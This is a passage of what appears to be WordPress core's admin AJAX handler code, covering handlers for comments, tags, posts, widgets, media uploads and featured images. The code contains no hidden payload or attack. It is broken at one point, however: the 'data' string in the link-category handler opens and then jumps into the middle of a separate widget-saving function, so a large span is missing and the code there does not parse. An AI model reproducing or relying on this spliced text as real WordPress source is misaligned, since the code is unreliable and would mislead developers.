*/
function wp_ajax_imgedit_preview() {
$post_id = (int) $_GET['postid'];
if ( empty( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
wp_die( -1 );
}
check_ajax_referer( "image_editor-$post_id" );
require_once ABSPATH . 'wp-admin/includes/image-edit.php';
if ( ! stream_preview_image( $post_id ) ) {
wp_die( -1 );
}
wp_die();
}
/**
* Handles oEmbed caching via AJAX.
*
* @since 3.1.0
*
* @global WP_Embed $wp_embed WordPress Embed object.
*/
function wp_ajax_oembed_cache() {
$GLOBALS['wp_embed']->cache_oembed( $_GET['post'] );
wp_die( 0 );
}
/**
* Handles user autocomplete via AJAX.
*
* @since 3.4.0
*/
function wp_ajax_autocomplete_user() {
if ( ! is_multisite() || ! current_user_can( 'promote_users' ) || wp_is_large_network( 'users' ) ) {
wp_die( -1 );
}
/** This filter is documented in wp-admin/user-new.php */
if ( ! current_user_can( 'manage_network_users' ) && ! apply_filters( 'autocomplete_users_for_site_admins', false ) ) {
wp_die( -1 );
}
$return = array();
/*
* Check the type of request.
* Current allowed values are `add` and `search`.
*/
if ( isset( $_REQUEST['autocomplete_type'] ) && 'search' === $_REQUEST['autocomplete_type'] ) {
$type = $_REQUEST['autocomplete_type'];
} else {
$type = 'add';
}
/*
* Check the desired field for value.
* Current allowed values are `user_email` and `user_login`.
*/
if ( isset( $_REQUEST['autocomplete_field'] ) && 'user_email' === $_REQUEST['autocomplete_field'] ) {
$field = $_REQUEST['autocomplete_field'];
} else {
$field = 'user_login';
}
// Exclude current users of this blog.
if ( isset( $_REQUEST['site_id'] ) ) {
$id = absint( $_REQUEST['site_id'] );
} else {
$id = get_current_blog_id();
}
$include_blog_users = ( 'search' === $type ? get_users(
array(
'blog_id' => $id,
'fields' => 'ID',
)
) : array() );
$exclude_blog_users = ( 'add' === $type ? get_users(
array(
'blog_id' => $id,
'fields' => 'ID',
)
) : array() );
$users = get_users(
array(
'blog_id' => false,
'search' => '*' . $_REQUEST['term'] . '*',
'include' => $include_blog_users,
'exclude' => $exclude_blog_users,
'search_columns' => array( 'user_login', 'user_nicename', 'user_email' ),
)
);
foreach ( $users as $user ) {
$return[] = array(
/* translators: 1: User login, 2: User email address. */
'label' => sprintf( _x( '%1$s (%2$s)', 'user autocomplete result' ), $user->user_login, $user->user_email ),
'value' => $user->$field,
);
}
wp_die( wp_json_encode( $return ) );
}
/**
* Handles Ajax requests for community events
*
* @since 4.8.0
*/
function wp_ajax_get_community_events() {
require_once ABSPATH . 'wp-admin/includes/class-wp-community-events.php';
check_ajax_referer( 'community_events' );
$search = isset( $_POST['location'] ) ? wp_unslash( $_POST['location'] ) : '';
$timezone = isset( $_POST['timezone'] ) ? wp_unslash( $_POST['timezone'] ) : '';
$user_id = get_current_user_id();
$saved_location = get_user_option( 'community-events-location', $user_id );
$events_client = new WP_Community_Events( $user_id, $saved_location );
$events = $events_client->get_events( $search, $timezone );
$ip_changed = false;
if ( is_wp_error( $events ) ) {
wp_send_json_error(
array(
'error' => $events->get_error_message(),
)
);
} else {
if ( empty( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) ) {
$ip_changed = true;
} elseif ( isset( $saved_location['ip'] ) && ! empty( $events['location']['ip'] ) && $saved_location['ip'] !== $events['location']['ip'] ) {
$ip_changed = true;
}
/*
* The location should only be updated when it changes. The API doesn't always return
* a full location; sometimes it's missing the description or country. The location
* that was saved during the initial request is known to be good and complete, though.
* It should be left intact until the user explicitly changes it (either by manually
* searching for a new location, or by changing their IP address).
*
* If the location was updated with an incomplete response from the API, then it could
* break assumptions that the UI makes (e.g., that there will always be a description
* that corresponds to a latitude/longitude location).
*
* The location is stored network-wide, so that the user doesn't have to set it on each site.
*/
if ( $ip_changed || $search ) {
update_user_meta( $user_id, 'community-events-location', $events['location'] );
}
wp_send_json_success( $events );
}
}
/**
* Handles dashboard widgets via AJAX.
*
* @since 3.4.0
*/
function wp_ajax_dashboard_widgets() {
require_once ABSPATH . 'wp-admin/includes/dashboard.php';
$pagenow = $_GET['pagenow'];
if ( 'dashboard-user' === $pagenow || 'dashboard-network' === $pagenow || 'dashboard' === $pagenow ) {
set_current_screen( $pagenow );
}
switch ( $_GET['widget'] ) {
case 'dashboard_primary':
wp_dashboard_primary();
break;
}
wp_die();
}
/**
* Handles Customizer preview logged-in status via AJAX.
*
* @since 3.4.0
*/
function wp_ajax_logged_in() {
wp_die( 1 );
}
//
// Ajax helpers.
//
/**
* Sends back current comment total and new page links if they need to be updated.
*
* Contrary to normal success Ajax response ("1"), die with time() on success.
*
* @since 2.7.0
* @access private
*
* @param int $comment_id
* @param int $delta
*/
function _wp_ajax_delete_comment_response( $comment_id, $delta = -1 ) {
$total = isset( $_POST['_total'] ) ? (int) $_POST['_total'] : 0;
$per_page = isset( $_POST['_per_page'] ) ? (int) $_POST['_per_page'] : 0;
$page = isset( $_POST['_page'] ) ? (int) $_POST['_page'] : 0;
$url = isset( $_POST['_url'] ) ? sanitize_url( $_POST['_url'] ) : '';
// JS didn't send us everything we need to know. Just die with success message.
if ( ! $total || ! $per_page || ! $page || ! $url ) {
$time = time();
$comment = get_comment( $comment_id );
$comment_status = '';
$comment_link = '';
if ( $comment ) {
$comment_status = $comment->comment_approved;
}
if ( 1 === (int) $comment_status ) {
$comment_link = get_comment_link( $comment );
}
$counts = wp_count_comments();
$x = new WP_Ajax_Response(
array(
'what' => 'comment',
// Here for completeness - not used.
'id' => $comment_id,
'supplemental' => array(
'status' => $comment_status,
'postId' => $comment ? $comment->comment_post_ID : '',
'time' => $time,
'in_moderation' => $counts->moderated,
'i18n_comments_text' => sprintf(
/* translators: %s: Number of comments. */
_n( '%s Comment', '%s Comments', $counts->approved ),
number_format_i18n( $counts->approved )
),
'i18n_moderation_text' => sprintf(
/* translators: %s: Number of comments. */
_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
number_format_i18n( $counts->moderated )
),
'comment_link' => $comment_link,
),
)
);
$x->send();
}
$total += $delta;
if ( $total < 0 ) {
$total = 0;
}
// Only do the expensive stuff on a page-break, and about 1 other time per page.
if ( 0 === $total % $per_page || 1 === mt_rand( 1, $per_page ) ) {
$post_id = 0;
// What type of comment count are we looking for?
$status = 'all';
$parsed = parse_url( $url );
if ( isset( $parsed['query'] ) ) {
parse_str( $parsed['query'], $query_vars );
if ( ! empty( $query_vars['comment_status'] ) ) {
$status = $query_vars['comment_status'];
}
if ( ! empty( $query_vars['p'] ) ) {
$post_id = (int) $query_vars['p'];
}
if ( ! empty( $query_vars['comment_type'] ) ) {
$type = $query_vars['comment_type'];
}
}
if ( empty( $type ) ) {
// Only use the comment count if not filtering by a comment_type.
$comment_count = wp_count_comments( $post_id );
// We're looking for a known type of comment count.
if ( isset( $comment_count->$status ) ) {
$total = $comment_count->$status;
}
}
// Else use the decremented value from above.
}
// The time since the last comment count.
$time = time();
$comment = get_comment( $comment_id );
$counts = wp_count_comments();
$x = new WP_Ajax_Response(
array(
'what' => 'comment',
'id' => $comment_id,
'supplemental' => array(
'status' => $comment ? $comment->comment_approved : '',
'postId' => $comment ? $comment->comment_post_ID : '',
/* translators: %s: Number of comments. */
'total_items_i18n' => sprintf( _n( '%s item', '%s items', $total ), number_format_i18n( $total ) ),
'total_pages' => (int) ceil( $total / $per_page ),
'total_pages_i18n' => number_format_i18n( (int) ceil( $total / $per_page ) ),
'total' => $total,
'time' => $time,
'in_moderation' => $counts->moderated,
'i18n_moderation_text' => sprintf(
/* translators: %s: Number of comments. */
_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
number_format_i18n( $counts->moderated )
),
),
)
);
$x->send();
}
//
// POST-based Ajax handlers.
//
/**
* Handles adding a hierarchical term via AJAX.
*
* @since 3.1.0
* @access private
*/
function _wp_ajax_add_hierarchical_term() {
$action = $_POST['action'];
$taxonomy = get_taxonomy( substr( $action, 4 ) );
check_ajax_referer( $action, '_ajax_nonce-add-' . $taxonomy->name );
if ( ! current_user_can( $taxonomy->cap->edit_terms ) ) {
wp_die( -1 );
}
$names = explode( ',', $_POST[ 'new' . $taxonomy->name ] );
$parent = isset( $_POST[ 'new' . $taxonomy->name . '_parent' ] ) ? (int) $_POST[ 'new' . $taxonomy->name . '_parent' ] : 0;
if ( 0 > $parent ) {
$parent = 0;
}
if ( 'category' === $taxonomy->name ) {
$post_category = isset( $_POST['post_category'] ) ? (array) $_POST['post_category'] : array();
} else {
$post_category = ( isset( $_POST['tax_input'] ) && isset( $_POST['tax_input'][ $taxonomy->name ] ) ) ? (array) $_POST['tax_input'][ $taxonomy->name ] : array();
}
$checked_categories = array_map( 'absint', (array) $post_category );
$popular_ids = wp_popular_terms_checklist( $taxonomy->name, 0, 10, false );
foreach ( $names as $cat_name ) {
$cat_name = trim( $cat_name );
$category_nicename = sanitize_title( $cat_name );
if ( '' === $category_nicename ) {
continue;
}
$cat_id = wp_insert_term( $cat_name, $taxonomy->name, array( 'parent' => $parent ) );
if ( ! $cat_id || is_wp_error( $cat_id ) ) {
continue;
} else {
$cat_id = $cat_id['term_id'];
}
$checked_categories[] = $cat_id;
if ( $parent ) { // Do these all at once in a second.
continue;
}
ob_start();
wp_terms_checklist(
0,
array(
'taxonomy' => $taxonomy->name,
'descendants_and_self' => $cat_id,
'selected_cats' => $checked_categories,
'popular_cats' => $popular_ids,
)
);
$data = ob_get_clean();
$add = array(
'what' => $taxonomy->name,
'id' => $cat_id,
'data' => str_replace( array( "\n", "\t" ), '', $data ),
'position' => -1,
);
}
if ( $parent ) { // Foncy - replace the parent and all its children.
$parent = get_term( $parent, $taxonomy->name );
$term_id = $parent->term_id;
while ( $parent->parent ) { // Get the top parent.
$parent = get_term( $parent->parent, $taxonomy->name );
if ( is_wp_error( $parent ) ) {
break;
}
$term_id = $parent->term_id;
}
ob_start();
wp_terms_checklist(
0,
array(
'taxonomy' => $taxonomy->name,
'descendants_and_self' => $term_id,
'selected_cats' => $checked_categories,
'popular_cats' => $popular_ids,
)
);
$data = ob_get_clean();
$add = array(
'what' => $taxonomy->name,
'id' => $term_id,
'data' => str_replace( array( "\n", "\t" ), '', $data ),
'position' => -1,
);
}
ob_start();
wp_dropdown_categories(
array(
'taxonomy' => $taxonomy->name,
'hide_empty' => 0,
'name' => 'new' . $taxonomy->name . '_parent',
'orderby' => 'name',
'hierarchical' => 1,
'show_option_none' => '— ' . $taxonomy->labels->parent_item . ' —',
)
);
$sup = ob_get_clean();
$add['supplemental'] = array( 'newcat_parent' => $sup );
$x = new WP_Ajax_Response( $add );
$x->send();
}
/**
* Handles deleting a comment via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_delete_comment() {
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
$comment = get_comment( $id );
if ( ! $comment ) {
wp_die( time() );
}
if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
wp_die( -1 );
}
check_ajax_referer( "delete-comment_$id" );
$status = wp_get_comment_status( $comment );
$delta = -1;
if ( isset( $_POST['trash'] ) && '1' === $_POST['trash'] ) {
if ( 'trash' === $status ) {
wp_die( time() );
}
$r = wp_trash_comment( $comment );
} elseif ( isset( $_POST['untrash'] ) && '1' === $_POST['untrash'] ) {
if ( 'trash' !== $status ) {
wp_die( time() );
}
$r = wp_untrash_comment( $comment );
// Undo trash, not in Trash.
if ( ! isset( $_POST['comment_status'] ) || 'trash' !== $_POST['comment_status'] ) {
$delta = 1;
}
} elseif ( isset( $_POST['spam'] ) && '1' === $_POST['spam'] ) {
if ( 'spam' === $status ) {
wp_die( time() );
}
$r = wp_spam_comment( $comment );
} elseif ( isset( $_POST['unspam'] ) && '1' === $_POST['unspam'] ) {
if ( 'spam' !== $status ) {
wp_die( time() );
}
$r = wp_unspam_comment( $comment );
// Undo spam, not in spam.
if ( ! isset( $_POST['comment_status'] ) || 'spam' !== $_POST['comment_status'] ) {
$delta = 1;
}
} elseif ( isset( $_POST['delete'] ) && '1' === $_POST['delete'] ) {
$r = wp_delete_comment( $comment );
} else {
wp_die( -1 );
}
if ( $r ) {
// Decide if we need to send back '1' or a more complicated response including page links and comment counts.
_wp_ajax_delete_comment_response( $comment->comment_ID, $delta );
}
wp_die( 0 );
}
/**
* Handles deleting a tag via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_delete_tag() {
$tag_id = (int) $_POST['tag_ID'];
check_ajax_referer( "delete-tag_$tag_id" );
if ( ! current_user_can( 'delete_term', $tag_id ) ) {
wp_die( -1 );
}
$taxonomy = ! empty( $_POST['taxonomy'] ) ? $_POST['taxonomy'] : 'post_tag';
$tag = get_term( $tag_id, $taxonomy );
if ( ! $tag || is_wp_error( $tag ) ) {
wp_die( 1 );
}
if ( wp_delete_term( $tag_id, $taxonomy ) ) {
wp_die( 1 );
} else {
wp_die( 0 );
}
}
/**
* Handles deleting a link via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_delete_link() {
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
check_ajax_referer( "delete-bookmark_$id" );
if ( ! current_user_can( 'manage_links' ) ) {
wp_die( -1 );
}
$link = get_bookmark( $id );
if ( ! $link || is_wp_error( $link ) ) {
wp_die( 1 );
}
if ( wp_delete_link( $id ) ) {
wp_die( 1 );
} else {
wp_die( 0 );
}
}
/**
* Handles deleting meta via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_delete_meta() {
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
check_ajax_referer( "delete-meta_$id" );
$meta = get_metadata_by_mid( 'post', $id );
if ( ! $meta ) {
wp_die( 1 );
}
if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta', $meta->post_id, $meta->meta_key ) ) {
wp_die( -1 );
}
if ( delete_meta( $meta->meta_id ) ) {
wp_die( 1 );
}
wp_die( 0 );
}
/**
* Handles deleting a post via AJAX.
*
* @since 3.1.0
*
* @param string $action Action to perform.
*/
function wp_ajax_delete_post( $action ) {
if ( empty( $action ) ) {
$action = 'delete-post';
}
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
check_ajax_referer( "{$action}_$id" );
if ( ! current_user_can( 'delete_post', $id ) ) {
wp_die( -1 );
}
if ( ! get_post( $id ) ) {
wp_die( 1 );
}
if ( wp_delete_post( $id ) ) {
wp_die( 1 );
} else {
wp_die( 0 );
}
}
/**
* Handles sending a post to the Trash via AJAX.
*
* @since 3.1.0
*
* @param string $action Action to perform.
*/
function wp_ajax_trash_post( $action ) {
if ( empty( $action ) ) {
$action = 'trash-post';
}
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
check_ajax_referer( "{$action}_$id" );
if ( ! current_user_can( 'delete_post', $id ) ) {
wp_die( -1 );
}
if ( ! get_post( $id ) ) {
wp_die( 1 );
}
if ( 'trash-post' === $action ) {
$done = wp_trash_post( $id );
} else {
$done = wp_untrash_post( $id );
}
if ( $done ) {
wp_die( 1 );
}
wp_die( 0 );
}
/**
* Handles restoring a post from the Trash via AJAX.
*
* @since 3.1.0
*
* @param string $action Action to perform.
*/
function wp_ajax_untrash_post( $action ) {
if ( empty( $action ) ) {
$action = 'untrash-post';
}
wp_ajax_trash_post( $action );
}
/**
* Handles deleting a page via AJAX.
*
* @since 3.1.0
*
* @param string $action Action to perform.
*/
function wp_ajax_delete_page( $action ) {
if ( empty( $action ) ) {
$action = 'delete-page';
}
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
check_ajax_referer( "{$action}_$id" );
if ( ! current_user_can( 'delete_page', $id ) ) {
wp_die( -1 );
}
if ( ! get_post( $id ) ) {
wp_die( 1 );
}
if ( wp_delete_post( $id ) ) {
wp_die( 1 );
} else {
wp_die( 0 );
}
}
/**
* Handles dimming a comment via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_dim_comment() {
$id = isset( $_POST['id'] ) ? (int) $_POST['id'] : 0;
$comment = get_comment( $id );
if ( ! $comment ) {
$x = new WP_Ajax_Response(
array(
'what' => 'comment',
'id' => new WP_Error(
'invalid_comment',
/* translators: %d: Comment ID. */
sprintf( __( 'Comment %d does not exist' ), $id )
),
)
);
$x->send();
}
if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && ! current_user_can( 'moderate_comments' ) ) {
wp_die( -1 );
}
$current = wp_get_comment_status( $comment );
if ( isset( $_POST['new'] ) && $_POST['new'] === $current ) {
wp_die( time() );
}
check_ajax_referer( "approve-comment_$id" );
if ( in_array( $current, array( 'unapproved', 'spam' ), true ) ) {
$result = wp_set_comment_status( $comment, 'approve', true );
} else {
$result = wp_set_comment_status( $comment, 'hold', true );
}
if ( is_wp_error( $result ) ) {
$x = new WP_Ajax_Response(
array(
'what' => 'comment',
'id' => $result,
)
);
$x->send();
}
// Decide if we need to send back '1' or a more complicated response including page links and comment counts.
_wp_ajax_delete_comment_response( $comment->comment_ID );
wp_die( 0 );
}
/**
* Handles adding a link category via AJAX.
*
* @since 3.1.0
*
* @param string $action Action to perform.
*/
function wp_ajax_add_link_category( $action ) {
if ( empty( $action ) ) {
$action = 'add-link-category';
}
check_ajax_referer( $action );
$taxonomy_object = get_taxonomy( 'link_category' );
if ( ! current_user_can( $taxonomy_object->cap->manage_terms ) ) {
wp_die( -1 );
}
$names = explode( ',', wp_unslash( $_POST['newcat'] ) );
$x = new WP_Ajax_Response();
foreach ( $names as $cat_name ) {
$cat_name = trim( $cat_name );
$slug = sanitize_title( $cat_name );
if ( '' === $slug ) {
continue;
}
$cat_id = wp_insert_term( $cat_name, 'link_category' );
if ( ! $cat_id || is_wp_error( $cat_id ) ) {
continue;
} else {
$cat_id = $cat_id['term_id'];
}
$cat_name = esc_html( $cat_name );
$x->add(
array(
'what' => 'link-category',
'id' => $cat_id,
'data' => "
' . __( 'An error has occurred. Please reload the page and try again.' ) . '
';
$sidebars = wp_get_sidebars_widgets();
$sidebar = isset( $sidebars[ $sidebar_id ] ) ? $sidebars[ $sidebar_id ] : array();
// Delete.
if ( isset( $_POST['delete_widget'] ) && $_POST['delete_widget'] ) {
if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
wp_die( $error );
}
$sidebar = array_diff( $sidebar, array( $widget_id ) );
$_POST = array(
'sidebar' => $sidebar_id,
'widget-' . $id_base => array(),
'the-widget-id' => $widget_id,
'delete_widget' => '1',
);
/** This action is documented in wp-admin/widgets.php */
do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );
} elseif ( $settings && preg_match( '/__i__|%i%/', key( $settings ) ) ) {
if ( ! $multi_number ) {
wp_die( $error );
}
$_POST[ 'widget-' . $id_base ] = array( $multi_number => reset( $settings ) );
$widget_id = $id_base . '-' . $multi_number;
$sidebar[] = $widget_id;
}
$_POST['widget-id'] = $sidebar;
foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
if ( $name === $id_base ) {
if ( ! is_callable( $control['callback'] ) ) {
continue;
}
ob_start();
call_user_func_array( $control['callback'], $control['params'] );
ob_end_clean();
break;
}
}
if ( isset( $_POST['delete_widget'] ) && $_POST['delete_widget'] ) {
$sidebars[ $sidebar_id ] = $sidebar;
wp_set_sidebars_widgets( $sidebars );
echo "deleted:$widget_id";
wp_die();
}
if ( ! empty( $_POST['add_new'] ) ) {
wp_die();
}
$form = $wp_registered_widget_controls[ $widget_id ];
if ( $form ) {
call_user_func_array( $form['callback'], $form['params'] );
}
wp_die();
}
/**
* Handles updating a widget via AJAX.
*
* @since 3.9.0
*
* @global WP_Customize_Manager $wp_customize
*/
function wp_ajax_update_widget() {
global $wp_customize;
$wp_customize->widgets->wp_ajax_update_widget();
}
/**
* Handles removing inactive widgets via AJAX.
*
* @since 4.4.0
*/
function wp_ajax_delete_inactive_widgets() {
check_ajax_referer( 'remove-inactive-widgets', 'removeinactivewidgets' );
if ( ! current_user_can( 'edit_theme_options' ) ) {
wp_die( -1 );
}
unset( $_POST['removeinactivewidgets'], $_POST['action'] );
/** This action is documented in wp-admin/includes/ajax-actions.php */
do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
/** This action is documented in wp-admin/includes/ajax-actions.php */
do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
/** This action is documented in wp-admin/widgets.php */
do_action( 'sidebar_admin_setup' );
$sidebars_widgets = wp_get_sidebars_widgets();
foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) {
$pieces = explode( '-', $widget_id );
$multi_number = array_pop( $pieces );
$id_base = implode( '-', $pieces );
$widget = get_option( 'widget_' . $id_base );
unset( $widget[ $multi_number ] );
update_option( 'widget_' . $id_base, $widget );
unset( $sidebars_widgets['wp_inactive_widgets'][ $key ] );
}
wp_set_sidebars_widgets( $sidebars_widgets );
wp_die();
}
/**
* Handles creating missing image sub-sizes for just uploaded images via AJAX.
*
* @since 5.3.0
*/
function wp_ajax_media_create_image_subsizes() {
check_ajax_referer( 'media-form' );
if ( ! current_user_can( 'upload_files' ) ) {
wp_send_json_error( array( 'message' => __( 'Sorry, you are not allowed to upload files.' ) ) );
}
if ( empty( $_POST['attachment_id'] ) ) {
wp_send_json_error( array( 'message' => __( 'Upload failed. Please reload and try again.' ) ) );
}
$attachment_id = (int) $_POST['attachment_id'];
if ( ! empty( $_POST['_wp_upload_failed_cleanup'] ) ) {
// Upload failed. Cleanup.
if ( wp_attachment_is_image( $attachment_id ) && current_user_can( 'delete_post', $attachment_id ) ) {
$attachment = get_post( $attachment_id );
// Created at most 10 min ago.
if ( $attachment && ( time() - strtotime( $attachment->post_date_gmt ) < 600 ) ) {
wp_delete_attachment( $attachment_id, true );
wp_send_json_success();
}
}
}
/*
* Set a custom header with the attachment_id.
* Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
*/
if ( ! headers_sent() ) {
header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
}
/*
* This can still be pretty slow and cause timeout or out of memory errors.
* The js that handles the response would need to also handle HTTP 500 errors.
*/
wp_update_image_subsizes( $attachment_id );
if ( ! empty( $_POST['_legacy_support'] ) ) {
// The old (inline) uploader. Only needs the attachment_id.
$response = array( 'id' => $attachment_id );
} else {
// Media modal and Media Library grid view.
$response = wp_prepare_attachment_for_js( $attachment_id );
if ( ! $response ) {
wp_send_json_error( array( 'message' => __( 'Upload failed.' ) ) );
}
}
// At this point the image has been uploaded successfully.
wp_send_json_success( $response );
}
/**
* Handles uploading attachments via AJAX.
*
* @since 3.3.0
*/
function wp_ajax_upload_attachment() {
check_ajax_referer( 'media-form' );
/*
* This function does not use wp_send_json_success() / wp_send_json_error()
* as the html4 Plupload handler requires a text/html Content-Type for older IE.
* See https://core.trac.wordpress.org/ticket/31037
*/
if ( ! current_user_can( 'upload_files' ) ) {
echo wp_json_encode(
array(
'success' => false,
'data' => array(
'message' => __( 'Sorry, you are not allowed to upload files.' ),
'filename' => esc_html( $_FILES['async-upload']['name'] ),
),
)
);
wp_die();
}
if ( isset( $_REQUEST['post_id'] ) ) {
$post_id = $_REQUEST['post_id'];
if ( ! current_user_can( 'edit_post', $post_id ) ) {
echo wp_json_encode(
array(
'success' => false,
'data' => array(
'message' => __( 'Sorry, you are not allowed to attach files to this post.' ),
'filename' => esc_html( $_FILES['async-upload']['name'] ),
),
)
);
wp_die();
}
} else {
$post_id = null;
}
$post_data = ! empty( $_REQUEST['post_data'] ) ? _wp_get_allowed_postdata( _wp_translate_postdata( false, (array) $_REQUEST['post_data'] ) ) : array();
if ( is_wp_error( $post_data ) ) {
wp_die( $post_data->get_error_message() );
}
// If the context is custom header or background, make sure the uploaded file is an image.
if ( isset( $post_data['context'] ) && in_array( $post_data['context'], array( 'custom-header', 'custom-background' ), true ) ) {
$wp_filetype = wp_check_filetype_and_ext( $_FILES['async-upload']['tmp_name'], $_FILES['async-upload']['name'] );
if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
echo wp_json_encode(
array(
'success' => false,
'data' => array(
'message' => __( 'The uploaded file is not a valid image. Please try again.' ),
'filename' => esc_html( $_FILES['async-upload']['name'] ),
),
)
);
wp_die();
}
}
$attachment_id = media_handle_upload( 'async-upload', $post_id, $post_data );
if ( is_wp_error( $attachment_id ) ) {
echo wp_json_encode(
array(
'success' => false,
'data' => array(
'message' => $attachment_id->get_error_message(),
'filename' => esc_html( $_FILES['async-upload']['name'] ),
),
)
);
wp_die();
}
if ( isset( $post_data['context'] ) && isset( $post_data['theme'] ) ) {
if ( 'custom-background' === $post_data['context'] ) {
update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', $post_data['theme'] );
}
if ( 'custom-header' === $post_data['context'] ) {
update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', $post_data['theme'] );
}
}
$attachment = wp_prepare_attachment_for_js( $attachment_id );
if ( ! $attachment ) {
wp_die();
}
echo wp_json_encode(
array(
'success' => true,
'data' => $attachment,
)
);
wp_die();
}
/**
* Handles image editing via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_image_editor() {
$attachment_id = (int) $_POST['postid'];
if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
wp_die( -1 );
}
check_ajax_referer( "image_editor-$attachment_id" );
require_once ABSPATH . 'wp-admin/includes/image-edit.php';
$msg = false;
switch ( $_POST['do'] ) {
case 'save':
$msg = wp_save_image( $attachment_id );
if ( ! empty( $msg->error ) ) {
wp_send_json_error( $msg );
}
wp_send_json_success( $msg );
break;
case 'scale':
$msg = wp_save_image( $attachment_id );
break;
case 'restore':
$msg = wp_restore_image( $attachment_id );
break;
}
ob_start();
wp_image_editor( $attachment_id, $msg );
$html = ob_get_clean();
if ( ! empty( $msg->error ) ) {
wp_send_json_error(
array(
'message' => $msg,
'html' => $html,
)
);
}
wp_send_json_success(
array(
'message' => $msg,
'html' => $html,
)
);
}
/**
* Handles setting the featured image via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_set_post_thumbnail() {
$json = ! empty( $_REQUEST['json'] ); // New-style request.
$post_id = (int) $_POST['post_id'];
if ( ! current_user_can( 'edit_post', $post_id ) ) {
wp_die( -1 );
}
$thumbnail_id = (int) $_POST['thumbnail_id'];
if ( $json ) {
check_ajax_referer( "update-post_$post_id" );
} else {
check_ajax_referer( "set_post_thumbnail-$post_id" );
}
if ( -1 === $thumbnail_id ) {
if ( delete_post_thumbnail( $post_id ) ) {
$return = _wp_post_thumbnail_html( null, $post_id );
$json ? wp_send_json_success( $return ) : wp_die( $return );
} else {
wp_die( 0 );
}
}
if ( set_post_thumbnail( $post_id, $thumbnail_id ) ) {
$return = _wp_post_thumbnail_html( $thumbnail_id, $post_id );
$json ? wp_send_json_success( $return ) : wp_die( $return );
}
wp_die( 0 );
}
/**
* Handles retrieving HTML for the featured image via AJAX.
*
* @since 4.6.0
*/
function wp_ajax_get_post_thumbnail_html() {
$post_id = (int) $_POST['post_id'];
check_ajax_referer( "update-post_$post_id" );
if ( ! current_user_can( 'edit_post', $post_id ) ) {
wp_die( -1 );
}
$thumbnail_id = (int) $_POST['thumbnail_id'];
// For backward compatibility, -1 refers to no featured image.
if ( -1 === $thumbnail_id ) {
$thumbnail_id = null;
}
$return = _wp_post_thumbnail_html( $thumbnail_id, $post_id );
wp_send_json_success( $return );
}
/**
* Handles setting the featured image for an attachment via AJAX.
*
* @since 4.0.0
*
* @see set_post_thumbnail()
*/
function wp_ajax_set_attachment_thumbnail() {
if ( empty( $_POST['urls'] ) || ! is_array( $_POST['urls'] ) ) {
wp_send_json_error();
}
$thumbnail_id = (int) $_POST['thumbnail_id'];
if ( empty( $thumbnail_id ) ) {
wp_send_json_error();
}
if ( false === check_ajax_referer( 'set-attachment-thumbnail', '_ajax_nonce', false ) ) {
wp_send_json_error();
}
$post_ids = array();
// For each URL, try to find its corresponding post ID.
foreach ( $_POST['urls'] as $url ) {
$post_id = attachment_url_to_postid( $url );
if ( ! empty( $post_id ) ) {
$post_ids[] = $post_id;
}
}
if ( empty( $post_ids ) ) {
wp_send_json_error();
}
$success = 0;
// For each found attachment, set its thumbnail.
foreach ( $post_ids as $post_id ) {
if ( ! current_user_can( 'edit_post', $post_id ) ) {
continue;
}
if ( set_post_thumbnail( $post_id, $thumbnail_id ) ) {
++$success;
}
}
if ( 0 === $success ) {
wp_send_json_error();
} else {
wp_send_json_success();
}
wp_send_json_error();
}
/**
* Handles formatting a date via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_date_format() {
wp_die( date_i18n( sanitize_option( 'date_format', wp_unslash( $_POST['date'] ) ) ) );
}
/**
* Handles formatting a time via AJAX.
*
* @since 3.1.0
*/
function wp_ajax_time_format() {
wp_die( date_i18n( sanitize_option( 'time_format', wp_unslash( $_POST['date'] ) ) ) );
}
/**
* Handles saving posts from the fullscreen editor via AJAX.
*
* @since 3.1.0
* @deprecated 4.3.0
*/
function wp_ajax_wp_fullscreen_save_post() {
$post_id = isset( $_POST['post_ID'] ) ? (int) $_POST['post_ID'] : 0;
$post = null;
if ( $post_id ) {
$post = get_post( $post_id );
}
check_ajax_referer( 'update-post_' . $post_id, '_wpnonce' );
$post_id = edit_post();
if ( is_wp_error( $post_id ) ) {
wp_send_json_error();
}
if ( $post ) {
$last_date = mysql2date( __( 'F j, Y' ), $post->post_modified );
$last_time = mysql2date( __( 'g:i a' ), $post->post_modified );
} else {
$last_date = date_i18n( __( 'F j, Y' ) );
$last_time = date_i18n( __( 'g:i a' ) );
}
$last_id = get_post_meta( $post_id, '_edit_last', true );
if ( $last_id ) {
$last_user = get_userdata( $last_id );
/* translators: 1: User's display name, 2: Date of last edit, 3: Time of last edit. */
$last_edited = sprintf( __( 'Last edited by %1$s on %2$s at %3$s' ), esc_html( $last_user->display_name ), $last_date, $last_time );
} else {
